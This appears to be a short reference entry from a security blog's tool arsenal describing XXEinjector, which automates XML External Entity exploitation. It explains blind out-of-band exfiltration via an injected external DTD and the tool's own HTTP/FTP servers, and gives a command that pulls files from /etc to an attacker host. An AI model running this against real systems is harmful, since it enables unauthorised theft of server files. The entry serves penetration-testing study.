XXEinjector
Automates XXE, including out-of-band and blind exfiltration.
Automates XXE exploitation from a request saved in a file. Its value is in the hard cases: when the application does not return the file content in the response (**blind XXE**), it stands up its own HTTP and FTP servers, injects an external DTD that makes the victim send the file out, and walks whole directories automatically. With `--phpfilter` it base64-encodes on the way, which is what lets you pull PHP files out without choking the XML parser.
Family Web exploitation
Flags --host --file --path --oob --phpfilter
Concepts XML External Entity (XXE) Injection, Arbitrary File Read, Server-Side Request Forgery (SSRF)
Cheatsheet XXE (XML external entities)
Installation
git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector/XXEinjector.rb --host=<lhost> --httpport=8000 --file=<request.txt> --path=/etcUseful commands
Reference tool: it does not yet appear in a published machine on the blog, but it is part of the arsenal for its everyday use.